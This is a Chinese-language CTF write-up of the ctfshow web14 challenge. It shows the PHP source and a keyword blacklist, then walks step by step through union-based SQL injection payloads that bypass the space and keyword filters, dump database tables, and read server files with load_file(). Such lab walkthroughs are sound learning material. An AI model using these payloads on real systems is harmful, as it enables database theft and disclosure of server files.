ctfshow-web14
web 14
打开环境,界面有一段代码
1 <?php 2 include("secret.php"); 3 4 if(isset($_GET['c'])){ 5 $c = intval($_GET['c']); //获取整数值 6 sleep($c);//延迟执行当前脚本若干秒。 7 switch ($c) { 8 case 1: 9 echo '$url'; 10 break; 11 case 2: 12 echo '@A@'; 13 break; 14 case 555555: 15 echo $url; 16 case 44444: 17 echo "@A@"; 18 break; 19 case 3333: 20 echo $url; 21 break; 22 case 222: 23 echo '@A@'; 24 break; 25 case 222: 26 echo '@A@'; 27 break; 28 case 3333: 29 echo $url; 30 break; 31 case 44444: 32 echo '@A@'; 33 case 555555: 34 echo $url; 35 break; 36 case 3: 37 echo '@A@'; 38 case 6000000: 39 echo "$url"; 40 case 1: 41 echo '@A@'; 42 break; 43 } 44 } 45 46 highlight_file(__FILE__);
这段代码很简单,需要进行传参,然后我分别传了1,2,3。当传3的时候会出现一个提示
pyload: ?c=3
那就随手就访问一下吧。
有一个提示框,进去之后是这样的界面
遇见这种界面了,恐怕又是sql注入了。此题貌似过滤了空格。那我们看一下源码吧。
1 <?php 2 if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){ 3 die('@A@'); 4 } 5 ?>
我们发现这样一段代码,看来是对一些注入的关键字进行了过滤,其中还包括空格。
那我们还用/**/来进行空格绕过。对于那些过滤了的关键字我们使用反引号进行绕过。
那我们开始注入,在输入框里输入 1/**/order/**/by/**/1# 才会不报错,只有一个回显位置。
然后爆出数据库名: -1/**/union/**/select/**/database()# ,爆出库名web
爆出表名: -1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'# ,表名为content
然后爆出字段名: -1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'# ,爆出的字段有:id,username,password
查看数据: -1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content# 这里提示你:1adminflag is not here!,2gtf1ywow,you can really dance,3Wowtell you a secret,secret has a secret...
秘密,该不会flag还是在secret里吧。那我们使用load_file()函数访问一下。
-1/**/union/**/select/**/load_file('/var/www/html/secret.php') ,但是没有显示啊,不过源代码里多出了这样一句代码
1 alert('<!-- ReadMe --> 2 <?php 3 $url = 'here_1s_your_f1ag.php'; 4 $file = '/tmp/gtf1y'; 5 if(trim(@file_get_contents($file)) === 'ctf.show'){ 6 echo file_get_contents('/real_flag_is_here'); 7 }')
那我们再获取一下/real_flag_is_here里的数据
感谢yu22x师傅提供的思路。